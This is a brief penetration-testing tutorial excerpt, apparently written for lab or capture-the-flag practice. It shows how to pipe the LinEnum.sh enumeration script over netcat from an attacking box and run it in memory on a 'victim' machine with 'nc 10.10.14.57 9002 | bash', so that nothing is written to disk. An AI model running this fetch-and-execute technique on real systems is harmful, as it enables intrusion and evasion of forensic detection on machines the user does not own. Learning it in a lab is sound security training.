This example will show us uploading LinEnum.sh to a victim machine and executing the file straight into memory so that we write nothing to the hard-drive.
On our attacking box, find the executable you wish to transfer and run the following command:
cat <filename> | nc -nvlp 9002
On the victim machine, change into the following directory so nothing will happen if you do write to disk.
Then transfer and execute the file by connecting back to your netcat connection.
nc 10.10.14.57 9002 | bash